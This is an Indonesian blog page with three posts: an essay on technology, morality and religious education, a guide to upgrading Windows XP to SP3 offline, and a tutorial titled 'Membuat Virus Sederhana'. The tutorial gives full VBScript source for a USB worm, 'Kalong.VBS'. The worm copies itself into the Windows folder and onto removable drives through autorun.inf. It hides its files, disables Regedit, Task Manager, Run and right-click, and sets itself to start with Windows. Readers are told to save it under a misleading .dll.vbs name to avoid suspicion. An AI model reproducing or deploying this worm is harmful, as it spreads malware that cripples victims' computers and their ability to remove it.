Selasa, 27 April 2010

Teknologi VS Moral


ERA informasi dan globalisasi sebagai akibat perkembangan ilmu pengetahuan dan teknologi saat ini telah memberikan dampak pada hampir semua aspek kehidupan masyarakat. Perubahan masyarakat akibat berkembangnya ilmu pengetahuan dan teknologi tersebut membawa dampak yang besar pada budaya, nilai, dan agama. Nilai-nilai yang sementara ini dipegang kuat oleh masyarakat mulai bergeser dan ditinggalkan. Sementara nilai-nilai yang menggantikannya tidak selalu sejalan dengan landasan kepercayaan atau keyakinan masyarakat, sehingga penyimpangan kian subur dan berkembang.



Dalam situasi seperti ini, remaja dan mahasiswa yang sedang berada dalam kondisi psikologis yang labil menjadi korban pertama, sebagaimana terjadi dalam berbagai kasus hedoisme, konsumerisme, hingga peningkatan kenakalan remaja dan narkotika.

Hal ini semakin membuktikan bahwa nilai-nilai hidup tengah bergeser sehingga membingungkan para remaja, menjauhkan mereka dari sikap manusia yang berkerpibadian, khususnya para pelajar dan mahasiswa yang sedang mengalami proses kegalauan yang parah dalam mencari jati diri.

Pendidikan agama yang selama ini menjadi tameng utama bagai generasi muda mulai dirasakan kurang berpengaruh dan lebih tepatnya kurang diminati, mengingat orang tua tenggelam dalam kesibukannya masing-masing, sedangkan lingkungan dan pergaulan yang tidak steril dari perilaku yang menyimpang dari norma-norma sosial dan agama.

Sementara sekolah dan perguruan tinggi, padat dengan pencapaian tujuan kurikulum yang menonjolkan aspek komunikatif. Output pendidikan lebih banyak menghasilkan pengetahuan, tetapi tidak mampu menghadapi tantangan hidup dan kehidupan (survive).

Standar moral dan spiritual anak nyaris tanpa sentuhan, sehingga nilai dan norma yang tertanam pada diri anak hanya sesuatu yang absurd. Maka pendidikan agama sebagai pembinaan nilai dan moral dituntut untuk dapat menangulangi dan mengantisipasinya sehingga masa depan mereka khususnya dan bagi bangsa pada umumnya dapat diselamatkan. Maka penting sekali pembelajaran dengan mengintegrasikan nilai-nilai imtaq dan iptek dalam rangka untuk mengantisipasi/ meminimalisasi semakin terpuruknya akhlak anak bangsa.

Apabila proses pembelajaran semacam ini berhasil direalisasikan, muncul keoptimisan bahwa di samping agar peserta didik memiliki dan menguasai ilmu pengetahuan dan teknologi (iptek), niscaya proses pendidikan juga dapat mendasari bagi terbentuknya akhlak atau perilaku generasi muda kita secara seimbang, sehingga pada gilirannya nanti dapat membentuk manusia Indonesia yang utuh dengan dilandasi iman dan taqwa (imtaq).

Dengan kata lain proses pendidikan tersebut dapat menciptakan generasi muda harapan bangsa yang berilmu amaliyah, beramal ilmiyah, dan bertaqwa ilahiyah.

Di samping itu, rendahnya pendidikan masyarakat, sistem pendidikan yang tidak mapan, struktur ekonomi yang keropos, serta jati diri bangsa yang belum terinternalisasikan, juga menjadikan bangsa rentan terhadap nilai-nilai baru yang datang dari luar.

Nilai-nilai barat yang sebagian berseberangan dengan nilai-nilai ketimuran dengan mudah diadopsi, terutama oleh generasi muda. Nilai yang mudah ditiru pada umumnya adalah nilai-nilai yang berisi kesenangan, permainan, dan hedonisme yang sering kali membawa dampak buruk. Sebaliknya, nilai- nilai positif dari barat seperti kecerdasan dan kemajuan Iptek tidak diserap dengan baik. Menghadapi persoalan tersebut, di kalangan ahli pendidikan sepakat untuk membina dan mengembangkan pendidikan nilai, moral, dan norma dengan formulasi pendidikan agama yang sesuai dengan kenyataan yang dihadapi saat ini.

Bangsa Indonesia yang berwatak sosialistik-religius bercita-cita meraih kehidupan yang seimbang, serasi, dan selaras antara kehidupan batiniah dengan kehidupan fisik materiil, di mana nilai keagamaan menjadi dasar atau sumber motivasinya.

Bila perkembangan iptek tanpa didasari dengan ajaran agama atau tanpa dilandasi dengan ketakwaan kita pada Tuhan, jenis-jenis perilaku indisipliner dapat terjadi yang terdiri atas perilaku berkatagori pelanggaran kriminal dan non kriminal. Penyebab terjadinya perilaku itu adalah faktor lingkungan yang merangsang dan secara pribadi sesuai dengan motivasi.

Sedangkan pendidikan agama saat ini dipandang berhasil hanya dengan melaksanakan ritual agama. Sementara aspek ekonomi, sosial, dan budaya tidak begitu diperhatikan, sehingga nilai-nilai agama lepas dari penganutnya atau dengan kata lain pelaksanaan ritual agama oleh seseorang terlepas dari perilaku sosialnya.

Ada beberapa tawaran konsep kurikulum yang dipersiapkan untuk membekali anak didik agar berkualitas dan profesional dalam menghadapi tantangan zaman. Pertama harus menonjolkan tujuan agama dan akhlaqul karimah, dalam materi atau pelaksanaannya, karena seiring sekali dari penerapan materi pelajaran, tidak dikaitkan dengan nilai-nilai yang ada di dalam masyarakat sehingga yang ada hanyalah pemenuhan pemahaman yang bersifat pengetahuan saja.

Kedua, kandungan materi pendidikan yang mencakup aspek jasmani, intelektual, spiritual, dengan diimbangi dari ketiga hal tersebut, anak didik diharapkan dapat memiliki karakter yang sesuai dengan nilai-nilai bangsa.

Ketiga, adanya keseimbangan antara ilmu syariat dengan ilmu umum. Selama ini seolah-olah terjadi pengkotak- kotakan antara ilmu yang berhubungan dengan teknologi dan ilmu yang berhubungan dengan agama, sehingga ibarat dua kutub yang saling berlawanan tidak akan pernah bisa bertemu.

Keempat, harus mempertimbangkan perkembangan dan kondisi psikologi anak didik. Dalam era modern seperti sekarang ini, laju perkembangan iptek sangat mempengaruhi karakter kepribadian dan berpikir para remaja, sehingga apabila tidak disesuaikan dengan psikologi anak didik, pasti dapat menghancurkan kepribadiannya itu sendiri.

Jadi akhirnya perkembangan informasi dan teknologi tidak bisa dianggap sebagai batu sandungan terhadap perkembangan moral bangsa. Dengan reformulasi kembali metode atau materi pendidikan, sehingga aktualisasi nilai-nilai agama dalam kehidupan sekarang ini menjadi sangat penting terutama dalam memberikan sumbangan pada masyarakat.

Cara Update/Upgrade Windows XP SP1 SP2 ke SP3 Secara Offline

Anda masih menggunakan Windows XP Service Pack 1 maupun SP 2,atau malah gak tahu windows yang dipake apa?waduh kok sampe gak tahu gimana too hehehe,anda bisa menggunakan software Speccy untuk mengetahuinya,mulai dari jenis windowsnya apa,bitnya berapa 32 atau 64,dan SPnya juga,bisa kita ketahui dengan program speccy tersebut,baiklah kalau sudah tahu ternyata sp yang digunakan adalah sp1 atau sp2,lalu bagaimana biar bisa di update atau Upgrade ke SP 3 secara offline tentunya,tanpa perlu koneksi internet,tapi ngomong2 yang bener update apa upgrade yahh?apa sama saja antara update dengan upgrade,yahh harap maklum saja,la wong diriku orang Gaptek,makanya judulnya Update/Upgrade,sama aja kayak postingan saya kemarin Disable/Enable Javascript,sapa tahu aja ada yang lagi pengen tahu cara enable javascript atau kebalikannya hehehe.Lalu bagaimana caranya untuk Upgrade ke SP 3?.

Cara Update/Upgrade Windows XP SP1 SP2 ke SP3- Pertama tama anda harus pastikan,kalau windows SP1 atau SP2 yang sedang anda gunakan adalah Genuine,anda bisa cek dengan tool Microsoft Genuine Advantage Diagnostic,untuk mengetahui asli tidaknya XPnya.
- Kedua,setelah anda tahu XPnya genuine,selanjutnya adalah mendownload terlebih dahulu Installer Windows Service pack 3,anda bisa
Download Disini installer SP3nya,filenya sebesar 316,43 MB langsung dari situs Microsoft,kalau pengen cepet beres downloadnya ya pake IDM atau pakeDAP juga bisa.
- Setelah beres donlotnya,anda tinggal menginstalnya,sampai selesai dan restart PC anda.
dan selamat deh karena sekarang windows XP yang anda gunakan sudah XP SP 3,.
-Apakah cukup sampai disitu saja,ya kalau pengen lebih bagus lagi,silahkan anda update Securitynya secara online,anda bisa gunakan browsers
Internet Explorer,pada bagian menuTools pilih Windows Update lalu pilih saja yang Costum,silahkan anda instal yang termasuk dalam High-priority updates,terutama yang namanya security hehehe,biar komputer anda lebih aman lagi dari berbagai macam gangguan virus dan teman temannya.
Oke dah cukup sampai disini dulu yang bisa saya share,kalau ada yang kebingungan cara upgradenya silahkan tanyakan saja,semoga saya bisa membantunya.

Perlu anda ketahui,Tips maupun cara Update/Upgrade ke SP 3 ini,sudah melalui uji coba terlebih dahulu,dari Komputer saya yang masih SP 1 langsung saya Upgrade ke SP 3 berhasil 100 persen tanpa ada error atau masalah,dan dari PC saya yang menggunakan Service Pack 2 langsung saya Upgrade ke SP 3 berjalan lancar,Jadi kalau anda masih menggunakan Windows XP SP 1 maupun 2 lebih baik melakukan Update ke SP 3 jika memang Genuine OS XPnya.

Membuat Virus Sederhana


Iseng-iseng mencolok Flash Disc saudara saya tiba-tiba saya nemu sebuah malcode lokal yang dibuat dengan bahasa VBS. Wah, ternyata para virusmaker mulai melirik memakai bahasa VBS. Mungkin karena menyangkut HAKI (Hak Atas Kekayaan Intelektual) karena VB6.0 yang banyak beredar adalah bajakan. Jadi ia membuat virus dengan VBS yang bisa dibuat hanya dengan Notepad karena di Windows sudah ada compiler yang terintegrasi dengannya, Windows Based Script Host.

Sesua janji saya, kita akan membuat virus yang sederhana menggunakanNotepad. Virus ini akan membuat dirinya menyebar ke removable discdengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”. Sekarang buka Notepad-nya. Copy kode berikut :

‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatanvirus–//
on error resume next

‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,
flashdrive,fs,mf,isi,tf,kalong,nt,check,sd

‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket

for each flashdrive in fs.drives
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) andflashdrive.path <> “A:” then

‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes = 39

‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next

‘//–Manipulasi Registry–//

set kalong = createobject(”WScript.Shell”)

‘//–Manip – Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//
kalong.regwrite “HKEY_CURRENT_USER\
Software\Microsoft\InternetExplorer\Main\Window Title”,” THE KALONG v.s. ZAY “

‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”

‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”

‘//–Manip – Disable klik kanan–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”

‘//–Manip – Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”

‘//–Manip – Aktif setiap WindowsStartup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “

‘//–Manip – Ubah RegisteredOwner dan Organization–//
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\RegisteredOwner”,”Kalong”

‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode

Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.